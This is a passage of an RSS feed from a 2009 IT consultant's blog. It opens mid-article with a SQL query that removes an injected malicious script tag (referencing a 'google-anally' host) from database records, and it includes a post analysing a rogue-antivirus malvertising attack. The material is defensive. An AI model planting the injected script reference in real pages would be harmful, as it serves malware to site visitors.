UPDATE [Banners] SET [AdCodeNetscape]= left(cast(AdCodeNetscape as varchar(8000)), charindex('&lt;script type=''text/javascript'' src=''http://google-anally', cast(AdCodeNetscape as varchar(8000)))-1) where AdCodeNetscape like '%&lt;script type=''text/javascript'' src=''http://google-anally%'</pre>
<p>Paste them into a new QA/SSMS window and run them, and your data should then be clean.</p>
<p><strong>REMINDER! In this case, we assume the malicious code was merely appended to the end of the NTEXT fields, not that fields were truncated and appended to like in the last article. If that's the case, data loss may still be possible in that the injection attack might have caused data fields to be truncated.</strong></p>
<p>Thanks to Branden for trusting us with his data, and if you're in the market for</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2009/12/27/cleaning-up-after-a-sql-injection-attack-part-2/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Making Exchange Public Folders Store Mail Items as E-Mail</title>
		<link>http://www.jephens.com/2009/12/23/making-exchange-public-folders-store-mail-items-as-e-mail/</link>
		<comments>http://www.jephens.com/2009/12/23/making-exchange-public-folders-store-mail-items-as-e-mail/#comments</comments>
		<pubDate>Wed, 23 Dec 2009 22:17:56 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[exchange]]></category>
		<category><![CDATA[outlook]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=264</guid>
		<description><![CDATA[I keep coming up against this, and I keep forgetting it, so I figured I'd write it down here for all of our benefit. Exchange 2003 allowed us to easily mail enable public folders, so something sent to info@domain.invalid would go to a public folder where any number of staff could monitor the mailbox. However, [...]]]></description>
			<content:encoded><![CDATA[<p>I keep coming up against this, and I keep forgetting it, so I figured I'd write it down here for all of our benefit.</p>
<p>Exchange 2003 allowed us to easily mail enable public folders, so something sent to <a href="mailto:info@domain.invalid">info@domain.invalid</a> would go to a public folder where any number of staff could monitor the mailbox.</p>
<p>However, by default, the mail is stored in the Public Folder as a NOTE and not an E-MAIL (for the geeks in the audience IPM.POST vs. IPM.NOTE)</p>
<p>To make the public folder store incoming mail as emails, we need to make a quick registry change. This is all outlined in <a href="http://support.microsoft.com/kb/817809" target="_blank">MS KB 817809</a>.</p>
<p>Go to</p>
<p>HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\MSExchangeIS\&lt;ServerName&gt;\Public-&lt;GUID&gt;</p>
<p>And create (or edit) the key:</p>
<p><strong>Value name</strong>: Incoming defaults to IPM.Note<br />
<strong>Value type</strong>: DWORD<br />
<strong>Value data</strong>: 1</p>
<p>Setting the value to 1 (true) stores things as IPM.NOTE (which is what we want). Setting the value to 0 sets it back to saving things as a post.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2009/12/23/making-exchange-public-folders-store-mail-items-as-e-mail/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>My Droid Apps&#8230;</title>
		<link>http://www.jephens.com/2009/12/11/my-droid-apps/</link>
		<comments>http://www.jephens.com/2009/12/11/my-droid-apps/#comments</comments>
		<pubDate>Fri, 11 Dec 2009 17:23:31 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Technology]]></category>
		<category><![CDATA[apps]]></category>
		<category><![CDATA[droid]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=259</guid>
		<description><![CDATA[So, I'm not a gigantic app person -- my iPod Touch has the essentials for what I need, a few cutsey show-off things or games for the kids, so I figured I'd do the same with my Droid... yes and no. Here's a rundown of whats on my Droid right now, and what I think: [...]]]></description>
			<content:encoded><![CDATA[<p>So, I'm not a gigantic app person -- my iPod Touch has the essentials for what I need, a few cutsey show-off things or games for the kids, so I figured I'd do the same with my Droid... yes and no. Here's a rundown of whats on my Droid right now, and what I think:</p>
<p><strong>Alarmed Light</strong> - Used it because it has a feature where you're forced to answer math questions to turn the alarm off. Kinda forces you to shake the cobwebs out and get started.</p>
<p><strong>Aloqa</strong> - Cool app that uses your GPS to let you know what's around. It's integrated with Yelp for food ratings. It has icons on its main screen for "Hot" (whatever that means), Yelp Restaurants, Coffee, last.fm, Music (showing me concerts in Denmark?!?), Playing Tonight (movies), Yelp Bars &amp; Clubs, Real Estate, Wikipedia, ATMs, Pizza, Aloqa, Yelp Fast Food and then "Add more channels." It more or less does what it is supposed to; it's nice to look at.</p>
<p><strong>BeamReader</strong> - a PDF viewer. I should uninstall since I bought "Documents to Go"</p>
<p><strong>Bubble Burst Lite</strong> -- Windows Mobile Jawbreaker for the Droid.</p>
<p><strong>ConnectFour</strong> - decent enough implementation. AI seems a little stupid sometimes.</p>
<p><strong>Documents to Go</strong> - open Word, Excel, Powerpoint, PDF. Does good job at rendering PDFs.</p>
<p><strong>Flashlight</strong> - turns your screen white. Doesn't seem to adjust for maximum brightness. Passable.</p>
<p><strong>Flickr Droid</strong> - Droid needs a good Flickr app. This isn't it, but the best one I could find that uses the Flickr API to let me at my stuff, since a lot of my photostream is friends/family only.</p>
<p><strong>FlightStats Lite</strong> - haven't had a chance to play with this. Will in January as I head to CES.</p>
<p><strong>Goggles</strong> - Google's latest toy. Varies from wildly successful to "how did you not recognize the Pepsi logo?!?"</p>
<p><strong>GPS Status</strong> - essentially a digital compass. Used when I was troubleshooting GPS on the phone.</p>
<p><strong>Flixter Movies</strong> - quick and easy to get to where we have to go for Friday Morning Movie Club.</p>
<p><strong>NYC Bus and Subway Map</strong> - not as interactive as I'd like. Literally a HiDef graphic of the map, and you can click thru to the MTA website for further details on the lines.</p>
<p><strong>OpenTable</strong> - online restaurant reservations from opentable.com . Decent.</p>
<p><strong>Pandora</strong> - works well over 3G, tho I imagine it eats thru the quota pretty quick.</p>
<p><strong>PicSay Lite</strong> - dopey photo editing thing. Makes speech baloons. Don't know why I downloaded this.</p>
<p><strong>Poke a Mole</strong> - whack-a-mole for the phone. Fun game with a Giant Downside - even when phone is muted annoying background music plays. Have to go into game menu to mute it.</p>
<p><strong>Remote RDP Demo</strong> - eventually I'll need to really use function keys when I Remote Desktop into a machine from my phone, but until then, the demo version does the trick.</p>
<p><strong>Robo Defense FREE</strong> - I do enjoy the tower defense genre of casual gaming... so why not have it on my phone? (Hardly never play it. Seemed like a good idea.)</p>
<p><strong>Shazam</strong> - this app still amazes me. Where did they get that song database???</p>
<p><strong>Stopwatch</strong> - straightforward.</p>
<p><strong>Sudoku Free</strong> - seeing it in my list makes me feel smart until I play it, thenI feel dumb.</p>
<p><strong>The Weather Channel</strong> - it has a widget so I can glance at the home screen to see what it's going to be like... or rather I can look at the home screen and tell my wife what it's going to be like... (I had a weather widget on the Treo and missed it.)</p>
<p><strong>TivoRemote</strong> - control the Tivo over WiFi. Nice, especially for text entry. The iPhone's version is better.</p>
<p><strong>TRAFFIC!</strong> - A test app for me. Not in love.</p>
<p><strong>Trap!</strong> - Another game, but its "draw a line" technology gets in the way of gameplay. Fun when it does what you want.</p>
<p><strong>Tunes Remote</strong> - Control iTunes from the Droid. YAY! One of the big reasons I got the iPhone touch was to control the iTunes machine hooked to the outdoor speakers.</p>
<p><strong>Twidroid Pro</strong> - From what I understand, the best Twitter client for the Droid. I'm happy with it. Does everything I need, but I am far from a Twitter power user, so some might find it lacking. They constantly update it which seems like they're interested developers.</p>
<p><strong>US Traffic</strong> - Another traffic app that I tried before I realized Google Maps had a Traffic layer...</p>
<p><strong>wpToGo</strong> - Allows me to post to WordPress from the phone... tho I have not had the need to do so.</p>
<p>What have I missed?</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2009/12/11/my-droid-apps/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Virtual Floppy Saves The Day</title>
		<link>http://www.jephens.com/2009/12/01/virtual-floppy-saves-the-day/</link>
		<comments>http://www.jephens.com/2009/12/01/virtual-floppy-saves-the-day/#comments</comments>
		<pubDate>Tue, 01 Dec 2009 19:27:50 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[ubcd4win]]></category>
		<category><![CDATA[virtual floppy drive]]></category>
		<category><![CDATA[windows]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=256</guid>
		<description><![CDATA[A client has an oldish Dell Dimension 8400 with an Intel RAID card that requires you to "Press F6 to add Storage Drivers" when trying to repair Windows. This also means that UBCD4Win (my preferred repair tool) also doesn't recognize the drives. Happily, Dell has a set of the drivers available. Sadly, they're part of [...]]]></description>
			<content:encoded><![CDATA[<p>A client has an oldish Dell Dimension 8400 with an Intel RAID card that requires you to "Press F6 to add Storage Drivers" when trying to repair Windows. This also means that UBCD4Win (my preferred repair tool) also doesn't recognize the drives.</p>
<p>Happily, Dell has a set of the drivers available.</p>
<p>Sadly, they're part of a floppy image.</p>
<p>Grrr!</p>
<p>Enter <a href="http://chitchat.at.infoseek.co.jp/vmware/vfd.html">Virtual Floppy Drive 2.1</a>, a cool piece of shareware that can be glommed from <a href="http://chitchat.at.infoseek.co.jp/vmware/vfd.html">http://chitchat.at.infoseek.co.jp/vmware/vfd.html</a></p>
<p>This operates along the same line as Microsoft's <a href="http://download.microsoft.com/download/7/b/6/7b6abd84-7841-4978-96f5-bd58df02efa2/winxpvirtualcdcontrolpanel_21.exe">Virtual CD-ROM Control Panel for Windows XP</a>, which mounts an ISO image and has it appear as a drive letter.</p>
<p>VFD does the same thing, it mounts an image file (or just creates a small chunk of RAM and treats it like a blank floppy) and you assign it a drive letter.</p>
<p>I loaded the application up -- it's pretty self-explanatory -- assigned to Drive B: and then launched Dell's Floppy making utility, told it to write to Drive B and bingo! I had my extracted files.</p>
<p>From there, it was trivial to copy them to the appropriate install media and we were off to the races.</p>
<p>(I finally searched for a virtual solution, when the one floppy disk I could find was throwing errors. How happy are we that those things have (mostly) gone the way of the dinosaur?)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2009/12/01/virtual-floppy-saves-the-day/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Font Smoothing Box Does Nothing!  (Where is Fallout Boy?)</title>
		<link>http://www.jephens.com/2009/09/22/the-font-smoothing-box-does-nothing-where-is-fallout-boy/</link>
		<comments>http://www.jephens.com/2009/09/22/the-font-smoothing-box-does-nothing-where-is-fallout-boy/#comments</comments>
		<pubDate>Tue, 22 Sep 2009 10:36:51 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Tips]]></category>
		<category><![CDATA[cleartype]]></category>
		<category><![CDATA[remote desktop]]></category>
		<category><![CDATA[terminal server]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=246</guid>
		<description><![CDATA[There are times when Microsoft makes me wonder. You develop this cool technology, ClearType, which helps reduce eyestrain, you put checkboxes all over the Remote desktop client allowing me to choose to use or not use it, you have it active in the shell... but then you casually ignore it and withhold it from me. [...]]]></description>
			<content:encoded><![CDATA[<p>There are times when Microsoft makes me wonder.  You develop this cool technology, ClearType, which helps reduce eyestrain, you put checkboxes all over the Remote desktop client allowing me to choose to use or not use it, you have it active in the shell... but then you casually ignore it and withhold it from me.  What gives?</p>
<p>Oh, a KB article sheds some light:</p>
<p style="padding-left: 60px;">The option to enable the<strong>Font smoothing</strong> feature is not available in the version of RDC that was released with Windows Server 2003. By default, Windows Server 2003 disables the<strong>Font smoothing</strong> feature in all remote connections. These connections include the connections that are established through RDC 6.0.</p>
<p>Happily, MS's dictatorship is matched only by its benevolence, because there's a "hotfix" available for this problem:</p>
<p><strong>KB946633:<a style="text-decoration: none;" href="http://support.microsoft.com/kb/946633" target="_blank">The "Font smoothing" feature has no effect in Windows Server 2003 terminal sessions</a></strong></p>
<p>It kinda cracks me up...</p>
<p style="padding-left: 30px;"><em>"We'll put the feature in."</em></p>
<p style="padding-left: 30px;"><em>"But it doesn't work. We should disable the checkboxes"</em></p>
<p style="padding-left: 30px;"><em>"Why would we do that?"</em></p>
<p>I bring this up because we just migrated a client over to a terminal server environment, and the number one complaint was "My fonts aren't fuzzy!"</p>
<p>Since I actually prefer the crispness of an LCD display, I didn't really notice, or care, but since I wasn't signing the check, I did my best to comply. I used bing to google the issue, and found the hotfix.</p>
<p>Of course, since it's a hotfix, it requires a reboot... so here I am at 5:30 AM, having just rebooted the server.</p>
<p>This hotfix is available via draconian download -- you fill out a form, they send an email with the link - however, they put the link in parentheses, so Outlook botches the conversion and breaks the link, resulting in the need for you to copy and paste the URL into your browser. From there, it's a Start &gt; Next &gt; Finish install and a reboot seals the deal.</p>
<p>As a side note: ClearType increases the bandwidth requirements, and is only available if you're running in "High Bandwidth" mode in the RDP 6.0 (or better) client. It also needs to be turned on in the desktop session.</p>
<p>In the RDP client:</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/fontsmooth1.png"><img class="alignnone size-full wp-image-247" title="fontsmooth1" src="http://www.jephens.com/wp-content/uploads/2009/09/fontsmooth1.png" alt="fontsmooth1" width="405" height="439" /></a></p>
<p>Click Options &gt; Experience tab</p>
<p>The check off the "font smoothing" box.</p>
<p>On the Windows 2003 Desktop:</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/fontsmooth2.png"><img class="alignnone size-medium wp-image-248" title="fontsmooth2" src="http://www.jephens.com/wp-content/uploads/2009/09/fontsmooth2-300x173.png" alt="fontsmooth2" width="300" height="173" /></a></p>
<p>Right click on the desktop &gt; Properties &gt;Appearance tab &gt; Effects button</p>
<p>That should do it!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2009/09/22/the-font-smoothing-box-does-nothing-where-is-fallout-boy/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Malware served from NY Times Website</title>
		<link>http://www.jephens.com/2009/09/13/beware-the-ny-times-website/</link>
		<comments>http://www.jephens.com/2009/09/13/beware-the-ny-times-website/#comments</comments>
		<pubDate>Sun, 13 Sep 2009 19:27:12 +0000</pubDate>
		<dc:creator>Jeff Knapp</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[anti-virus]]></category>
		<category><![CDATA[defense]]></category>
		<category><![CDATA[malware]]></category>
		<category><![CDATA[malwarebytes]]></category>
		<category><![CDATA[new york times]]></category>
		<category><![CDATA[nytimes.com]]></category>
		<category><![CDATA[protection-check07.com]]></category>

		<guid isPermaLink="false">http://www.jephens.com/?p=209</guid>
		<description><![CDATA[I've gotten two calls from clients (OK, one was a client, the other my mother-in-law) saying they visited the NYTimes website and were attacked by malware. This is true, they were. My MIL said she was trying to read Maureen Dowd and got hit with a rogue anti-spyware application. I was able to CoPilot in [...]]]></description>
			<content:encoded><![CDATA[<p>I've gotten two calls from clients (OK, one was a client, the other my mother-in-law) saying they visited the NYTimes website and were attacked by malware.</p>
<p>This is true, they were. My MIL said she was trying to read Maureen Dowd and got hit with a rogue anti-spyware application. I was able to CoPilot in and clean things up. (There didn't seem much to clean up, I killed a running process of IE (she uses Chrome) and the scare-screen went away.</p>
<p>I sparked up an unpatchedWinXP Virtual Machine running IE6 and went to the NYT website, and was prompted immediately to install flash. I opted not to and surfed around the site, fighting the information bar's insistence that I install an ActiveX Control.</p>
<p>So, I gave in and voila!</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_1.jpg"></a></p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_11.jpg"><img class="alignnone size-medium wp-image-217" title="protection-check07.com dialog" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_11-300x226.jpg" alt="protection-check07.com dialog" width="300" height="226" /></a></p>
<p>So, no matter how you answer, you're already stung.</p>
<p>Of course, your instinct is to click "Cancel" and you do, and then you're scared out of your wits when confronted with this page from protection-check07.com (don't go there!) and proceeds to make you think you're infected.</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_21.jpg"><img class="alignnone size-medium wp-image-218" title="protection-check07.com demo" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_21-300x226.jpg" alt="protection-check07.com demo" width="300" height="226" /></a><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_2.jpg"></a></p>
<p>But, if we take a second to look at the scare box, we see something is amiss...</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_4.jpg"><img class="alignnone size-medium wp-image-213" title="Local Drive" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_4-300x187.jpg" alt="Local Drive" width="300" height="187" /></a></p>
<p>We don't have an E: drive ... and the optical drive we have is a CD-Rom, not a DVD-RAM drive...</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_31.jpg"><img class="alignnone size-medium wp-image-219" title="My Computer" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_31-300x226.jpg" alt="My Computer" width="300" height="226" /></a><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_3.jpg"></a></p>
<p>The page that pops up is meant to scare you. The infections it reports are false -- the only infection you have (at the moment) is the webpage. If you go into taskmanager and find iexplorer.exe (or firefox.exe if you use Mozilla Firefox) and right-click on it and choose "End Process" that should make the pop-up go away.</p>
<p>If you click ANYWHERE on the page, it will prompt you to download a program:</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_5.jpg"><img class="alignnone size-full wp-image-221" title="Malware Downloader" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_5.jpg" alt="Malware Downloader" width="456" height="313" /></a></p>
<p>Seems reasonable -- you got a warning you were infected, and you want to download a file called "Scanner-75f_2015.exe" seems legit.</p>
<p>IT'S NOT.</p>
<p>(But you knew that by now, right?)</p>
<p>However, this is a clear indication of how a fully patched system gets compromised. Some buys ad space on a major website. They probably serve a lot of legit ads, but in a few instances, they serve illegitmate ads. In this case, they seem to be using Flash as an attack vector. Flash movie loads and redirects your browser to a rogue site, and they're off to the races.</p>
<p>Since I'm a professional, I downloaded the file -- I didn't run it -- and I submitted it to <a href="http://virscan.org">http://virscan.org</a> an online file scanner which tests a file against 37 of the leading anti-virus vendors.</p>
<p>Somewhat sadly, only 5 out of 37 scanners picked this up as malware:</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_6.jpg"><img class="alignnone size-medium wp-image-222" title="Malware Results" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_6-300x185.jpg" alt="Malware Results" width="300" height="185" /></a></p>
<p>I also ran the file thru VirusTotal.com which tests against 41 scanners, and 7 scanners turned up a positive on our file:</p>
<p><a href="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_8.jpg"><img class="size-large wp-image-224 alignnone" title="VirusTotal.com Results" src="http://www.jephens.com/wp-content/uploads/2009/09/xp_nyt_8-422x1024.jpg" alt="VirusTotal.com Results" width="422" height="1024" /></a></p>
<p>You can see the full report over on VirusTotal's site: <a href="http://www.virustotal.com/analisis/7bda9187e26b5a185501874b201731f12e3604c078408500abda83c35ef2fbe1-1252857630" target="_blank">http://www.virustotal.com/analisis/7bda9187e26b5a185501874b201731f12e3604c078408500abda83c35ef2fbe1-1252857630</a></p>
<p>The one thing that surprised me on the results was Microsoft's detection, trumping McAfee, Symantec, AVG and Clam-AV among many others. I've never considered MS a true player in the anti-malware landscape, but perhaps I will re-evaluate.</p>
<p>Kaspersky, and most othersecurity vendors, offers an <a href="http://usa.kaspersky.com/downloads/free-virus-scanner.php" target="_blank">online scan </a>of your system (requires Java). If you don't have an anti-virus product installed -- or even if you do -- you might want to visit a different security vendor site than the one you have to do a check. Belt and suspenders and all that.</p>
<p>(This piece of spyware also eluded my trustyMalwarebytes Anti-Malware (<a href="http://www.malwarebytes.org/">www.malwarebytes.org</a>) which should reinforce that no one piece of software can provide 100% protection.</p>
<p>There is no strong defense for this, as nothing you overtly do can cause it. Make sure your anti-virus is up to date, do regular scans of your computer -- but MOST importantly --keep backups.</p>
<p>As for the clients, one of them uses Norton GoBACK (since superceded in the marketplace by Ghost 14) , so they restored their machine back an hour before the infection occurred, went back to the NY Times site, got re-infected, restored AGAIN using GoBack, and then stayed away from the NY Times site. And my Mother-in-Law has been trained well and as soon as the box popped up, she called me and I was able to CoPilot into her machine and close IE before it did any damage... may you all be as lucky.</p>
<p>Further Info:</p>
<p><a href="http://ask.metafilter.com/132707/nytimes-spyware">http://ask.metafilter.com/132707/nytimes-spyware</a></p>
<p><a href="http://discussions.apple.com/thread.jspa?messageID=10197120&amp;tstart=0">http://discussions.apple.com/thread.jspa?messageID=10197120&amp;tstart=0</a></p>
<p><a href="http://forums.mozillazine.org/viewtopic.php?f=38&amp;t=1481195">http://forums.mozillazine.org/viewtopic.php?f=38&amp;t=1481195</a></p>
<p><strong>[UPDATE: 1:30 PM, Sunday Sept 13 - the NY Times site seems to have stopped serving the ad. Further attempts to get infected have proven unsuccessful.]</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.jephens.com/2009/09/13/beware-the-ny-times-website/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
